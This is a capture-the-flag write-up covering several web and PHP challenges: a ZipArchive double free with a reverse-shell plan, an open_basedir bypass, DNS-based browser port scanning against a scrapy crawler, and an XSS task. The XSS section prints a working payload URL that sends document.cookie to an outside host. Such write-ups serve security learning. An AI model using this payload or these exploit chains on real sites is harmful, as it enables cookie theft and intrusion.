First, we find out the commit version 37a8408e8 according to hint, and get diff info as below.

$ diff -r php-src/ext/zip/php_zip.c no_realworld_php/ext/zip/php_zip.c

<         ze_obj->filename = NULL;

Obviously, There is a double free vulnerability we can exploit at ZipArchive class. In zend allocator, _emalloc does not check any metadata from the freed chunk, so we can simply get arbitray read/write.

Leak the libc, overwrite __free_hook, and get reverse shell!!

open_basedir bypass

Rumor has that this exploit still works in this challenge, even if it's PHP 7.4 ~ 8. Then you can get those juicy addresses under /proc through echo file_get_contents('/proc/self/maps'); Actually I didn't realize they still haven't fixed this bug...... It's almost half of a year ago.

Please refer to @Blaklis_'s tweet (@edgarboda retweets)

hCoream (unsolved)

This is a latest Chrome XSS auditor bypass challenge. Basically it's a 0-day challenge :), though Chrome will retire the XSS auditor in the next release.

For the solution please see:

crawl box (unsolved)

The server uses scrapy with headless chromium to crawl the page. We search for some keyword about scrapy, and found this post.

I leverage somd DNS-based browser port scanning technique to check that the 127.0.0.1:6023 is opened. The following DNS record for example.com is configured:

127.0.0.1 example.com A
240.240.240.240 example.com A

And I found that the browser it will never send a request to 240.240.240.240, which indicates that the port is opened. The reason is that chromium will always resolve to 127.0.0.1 first. For more detail you can refer to my article.

Unfortunately, only scrapy < 1.5.2 is vulnerable to this RCE explot, because the telnet is not even protected with password. For scrapy >= 1.5.3, the telnet is protected with 8-byte password.

Then we got stuck here until the competition ended.

According to @phithon_xg's twitter, scrapy will also expose a web API interface.

Okay, so maybe next time I'll try to either search for more information about this library, or just browser the official doc.

Failed Attempts

Protocol smuggling to send CSRF to telnet: The telnet will refuse to negotiate for any payload after \r\n, so for simple HTTP method it will fail to authenticate. But @stereotype32's idea is pretty cool, using DNS rebinding to bypass CORS and send a customized HTTP method.
Guessing the password: The password has 8 bytes. Although it seems vulnerable to side-challen attack in twisted library, it will be too difficult to exploit it using headless chromium.

Mission Invisible

This is a XSS challenge:

<script>
    var getUrlParam = function (name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
        var r = unescape(window.location.search.substr(1)).match(reg);
        if (r != null) return r[2];
        return null;
    }

    function setCookie(name, value) {
        var Days = 30;
        var exp = new Date();
        exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 30);
        document.cookie = name + "=" + value + ";expires=" + exp.toGMTString();
    }

    function getCookie(name) {
        var search = name + "="
        var offset = document.cookie.indexOf(search)
        if (offset != -1) {
            offset += search.length;
            var end = document.cookie.indexOf(";", offset);
            if (end == -1) {
                end = document.cookie.length;
            }
            return unescape(document.cookie.substring(offset, end));
        }
        else return "";
    }

    function setElement(tag) {
        tag = tag.substring(0, 1);
        var ele = document.createElement(tag)
        var attrs = getCookie("attrs").split("&");
        for (var i = 0; i < attrs.length; i++) {
            var key = attrs[i].split("=")[0];
            var value = attrs[i].split("=")[1];
            ele.setAttribute(key, value);
        }
        document.body.appendChild(ele);
    }

    var tag = getUrlParam("tag");
    setCookie("tag", tag);
    setElement(tag);

Bypass getCookie("attr"): url?tag=attrs=3
Bypass ; and &: When getCookie, it will unescape special characters. We can use percent-encoding %26 to bypass
Using <a> to XSS without user interaction: The remote headless chrome bot will not interact with the page, so we have to come out a approach to trigger the XSS without user interaction.
Trigger onfocus event: We can use hash url#foo to trigger the onfocus event of an anchor<a> element with id foo. Reference and StackOverflow.

The key point is the onfocus event. It does not come out into my mind magically. First, I list all the attribute of <a> to see which events is useful. After that I search for some random keyword of those event with anchor XSS. Then ..... bingo.

Payload:

http://52.52.236.217:16401/?tag=attrs=id%3Dfoo%2526onfocus%3Djavascript%3Afetch%28%27%2F%2F240.240.240.240%3A1234%3F%27%2Bdocument.cookie%29%2526href%3D%23foo#foo

# rwctf{fR0m1olotH!n9}

Failed Attempts

Using CSS to triger javascript: We can inject style attribute thus we can perform CSS injection. Unfortunately in modern browsers, they do not support execute javascript in CSS.
onmouseevent + very large canvas: Once the user/bot's mouse moves into the page, it will trigger the event if we set a very large width and height in CSS. However this doesn't work because the remote bot will not interact with the page. There is no mouse event triggered.
